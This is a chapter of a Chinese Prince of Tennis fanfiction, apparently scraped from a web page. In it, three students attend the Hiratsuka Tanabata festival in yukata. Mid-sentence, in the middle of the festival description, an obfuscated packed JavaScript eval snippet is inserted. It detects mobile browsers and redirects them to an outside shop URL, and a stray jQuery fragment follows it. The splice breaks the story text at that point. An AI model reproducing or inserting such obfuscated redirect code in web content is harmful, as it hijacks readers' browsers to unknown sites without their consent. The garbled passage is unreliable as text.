29.人约黄昏后
作品:《[网王]驯服皇帝的千种方式》 “哒哒哒、哒哒哒。”
每年进入七月,学校走廊上都会响起清脆的脚步声。虽然被老师再三勒令不准,但男孩女孩们还是会躲开风纪委员们的视线,偷偷换下室内鞋,趁着课间穿木屐走来走去,欢快地、活泼地,踩出一连串夏天的音符。
一班有鞋全班穿,爱丽就看着几双木屐在小团体间传来传去。反正除了学习外什么都好玩,国中学校今年新兴的风潮就是穿木屐。
她和幸村嘀咕:“也不嫌脏……”有分趾袜也不行!
幸村也悄声说:“可能这就是相互表示友好的方式之一吧?‘因为和你关系亲密,所以我不嫌弃’。”
“下次出门,你也穿木屐呗?”
幸村反问:“你穿吗?你穿我就穿。”
爱丽:咱俩这是什么小学生对话吗。
两人谈论的就是从后天开始的七夕星辰祭。虽然源自中国,但国内大多数地区的祭典却放在公历七月七日左右开始,持续几天,非常盛大,不过也有例外,比如仙台依然保留着八月举办的习俗。
后天恰好是本周最后一个上学日,整个休息日期间都能在外参加祭典、尽情玩耍,怎能不让青少年们躁动?
更何况他们去平塚市如此方便,完全可以夸张地来一句:全关东最大的七夕祭就在家门口。
七月七日当天,围棋社未安排死活题练习,只集中复盘、讲解了几局棋便解散了。刻苦虽然重要,也不差这一天,后面补回来就是了,该学学该玩玩才是她一贯坚持的理念。
回家后,收拾东西、洗澡、梳头,忙活一通就已经接近五点。穿着吊带和短裤的爱丽赤脚踩在地上,将浴衣罩在外面。
这件Marc牌的浴衣是前段时间新买的,价格折合人民币大约三千多,连腰带都要七百多,并不便宜。相比起绘着晨辉、蜻蜓和菊花的传统风格,今年更‘时兴’白底、粉底和其他浅色底的女式浴衣,尤其是绘着玫瑰、樱、兰等花朵图案的款式,以及装饰着少许蕾丝、丝带蝴蝶结、小花束扣的衣领和腰带。
提拉、整理,让下摆长度刚好盖住脚踝。将右边衣摆叠向左侧腰间,再按同样的步骤叠另一边。拉平褶皱,系固定绳,系腰带。
最后,用手拉动后腰处的布料,让后衣领和脖颈中间留出一拳的距离。害,这就是霓虹的‘后颈情怀’吧= =
做完这些都有点出汗了,她找了把团扇拿在手中使劲扇:“我靠,好热!不知道妈妈到了没。”
彩子早已有约。她今年开始连载的新漫画刚出几卷就确定了动画化,所以今天高兴地和朋友去银座约酒了。只给女儿留了纸条,叮嘱她出门小心。
反正有真田他们,也只是去平塚,她不怎么担心。
她看了看表,发现离约定的时间还有一会,便坐在沙发上给真田发邮件。
From [Suzuki] 我收拾好了^^
From [Sanada] 那出门?我在你家门口。
爱丽大吃一惊,匆忙穿鞋推门:“你怎么不敲门?”
“反正还有时间,我何必催促。”他抱臂站在外面,目光定在她身上,不由微微一笑。
此时天色已完全转为暗蓝,铃木家大门处的灯光柔和,将女孩的容色照得清晰。
声色光影都在此刻呼啸着流向她,于是除她以外,他看不见别的。她同时还霸道掠夺了他的空气,于是他便觉得一阵气短,难以呼吸。
“怎么样?”她转了个圈,显摆道。
“还行。”真田哼唧着。就是欣赏这股劲头,美而自知,坦坦荡荡。
过了会他才注意到她的穿着,郁闷又无奈:“这件浴衣,你还真买了啊?”
“我觉得好看。”
见对方如想象中那样郁闷,爱丽嘎嘎直乐,眉飞色舞。
她穿的是一件浅白底、上绣椿花的浴衣,红色椿花将肤色衬得白而透亮,气色极佳。
椿花花纹象征着美丽、长寿与神性,只不过真田不太喜欢。他曾一本正经地告诉她:椿花不是瓣瓣飘落,而是整朵掉落,所以古代武士认为跟斩首似的,寓意不好,不吉利。
她无语地喷他“迷信死了!”,转头就在无数鲜花花纹中特意选了这件。
于是真田气得直瞪眼,心想真是个幼稚鬼,不让做就偏偏做……这脚上穿的又是什么?
爱丽向他介绍:“今年流行浴衣搭配短袜或者浅口袜,足袋不时髦,我才不穿。”
“胡闹,足袋才是经典!”他满头黑线地嘟囔着。一涉及到这些,她就开始头头是道,而他就开始犯困……
“但是我很高兴哦,弦一郎,浴衣就得大家都穿才有趣。”她嬉皮笑脸地勾他的腰带,脚下却没走稳,而他则叹着气拽了她一把,“好好走路。你看除了你之外,还有别人平地摔么?”
两人就这样拉拉扯扯地到达车站,与铁三角的最后一人汇合。
“精市酱,你怎能如此迷人?”她惊呆了,抛下真田就巴巴舔过去,“你知不知道中国有句古诗叫陌上人如玉?你现在就是那块玉,别动,都说玉有温度,让我摸摸看。”
平常对着这张脸没感觉,忘了对面可是全校公认的美人。今晚幸村稍作修饰,穿上浅白与咖色相间的大格纹浴衣,立刻让她惊叹不已。
幸村失笑,互吹彩虹屁:“爱丽酱,你也很迷人,今夜尤其迷人。”
被区别对待的真田:“……呵。”你俩真烦人,今夜尤其烦人。
不愧是七夕祭,人群从四面八方而来,搭乘公共交通到达同一个目的地:平塚站。
从北出口挤出来更是不得了,红谷路商业街上人潮如海,络绎不绝,两侧商店灯火通明,连711等便利店都塞满了人,店员忙得满头大汗。路两侧的流动摊贩纷纷开张,迎来送往。再往远处看,半空中悬挂着无数锦灯笼、手绘灯笼和五彩飘带,热闹到极致的气氛延伸到周边的街道。
花市入口处写着左侧通行,还矗立着许愿树。几百几千支彩色竹枝,用作装饰、屏风、格挡,被各色彩纸、长条诗笺和LED灯点缀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289347|197587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,灯影晃动,人声熙攘,整片区域都是尽情挥霍欢笑和时光的乐园。
一路走一路看,还有不少企业赞助的宝船灯笼。比如可尔必思打出了一直以来的广告语“カルピス,初恋の味”,在旁边画了一男一女两个牵手的小人,也是蹭上了牛郎织女的热度。
此情此景下,人类根本控制不住剁手的冲动,平常看都不看一眼的小吃们格外香,纷纷散发出致命的诱惑力。爱丽忍不住买了章鱼小丸子、烤鱿鱼、可乐饼、山芋糕等等,又要拖着他们继续,叫道:“是草莓刨冰哎,老板来一份加炼乳的。”
在碗里铺满牛奶冰,堆成富士山的形状。新鲜草莓压碎浇在上面,最后加炼乳。甜而不腻,口感丝滑,最合适夏夜消暑。
真田忍不住要发出惨叫:“吃完再买!”
这家伙,吃不完的就扔给他,还贴心地在他腰带上挂了个塑料袋,用来把垃圾装走。
“好啦好啦,快帮我吃。”她敷衍地安慰着,把丸子串举到他嘴边,另一只手从摊位上接过刨冰。而他则带着淡淡的无语低下头,从竹签上咬走了一颗。
她将剩下的一口吃掉:“好撑啊。”
“谁让你买这么多?”
“带你来是干嘛的,不好好反省自己怎么这么不中用。”
“……喂。”
幸村在另一端招手:“你们快来看。”
嗯,比起吃的他更喜欢逛这些艺术品的摊位,比如现在这个。
“三大妖怪的面具?”
“鬼、河童和天狗啊,我要天狗的。”爱丽抢先说,“河童的面具比较适合弦一郎。”
真田不满:“我也想要天狗的。”有翅膀的多酷,河童丑丑的。
“你平常不是爱戴帽子吗,就像河童一直顶着他的盘子……”
“那时凹镜啦凹镜。”幸村纠正着,然后戴上鬼的面具,很满意,“蓝色搭我的发色。”
没得选择的真田不忍心扫兴,只好把河童面具挂在身上,嫌弃地撇嘴。
三人跟随人群继续走,期间幸村还买了个金鱼气球给她。真是漂亮极了,外壳透明,而金鱼状的气球漂浮其中,仿佛空游无所依。把绳子系在手腕上轻轻扯动,抬起头,便能看到金鱼游动在夜空中。
然后就有举着话筒、扛着摄影机的工作人员小跑过来,话筒上还打着湘南频道的LOGO:“……接下来我们随机采访几名路人。你好,请问你们是从哪里过来的?觉得今天的七夕祭好玩吗?有什么祝福要送给电视机前的观众吗?”
找路人当然要找上镜的!于是电视台工作人员立刻锁定了这三位。
爱丽便配合地说了些吉祥话,幸村也含笑点头,时不时补充几句。
真田微微侧过身听她讲话,她则觉察到了,也歪头朝他笑了一下。
一朵椿花红如焰火,仿佛开在她的肩头,映衬得脖颈颀长而雪白。他便忽然走了神,想起那句“椿花落了,春日为之动荡”,心情似喜似忧,五味杂陈:当她展颜微笑时,谁不为之动荡?

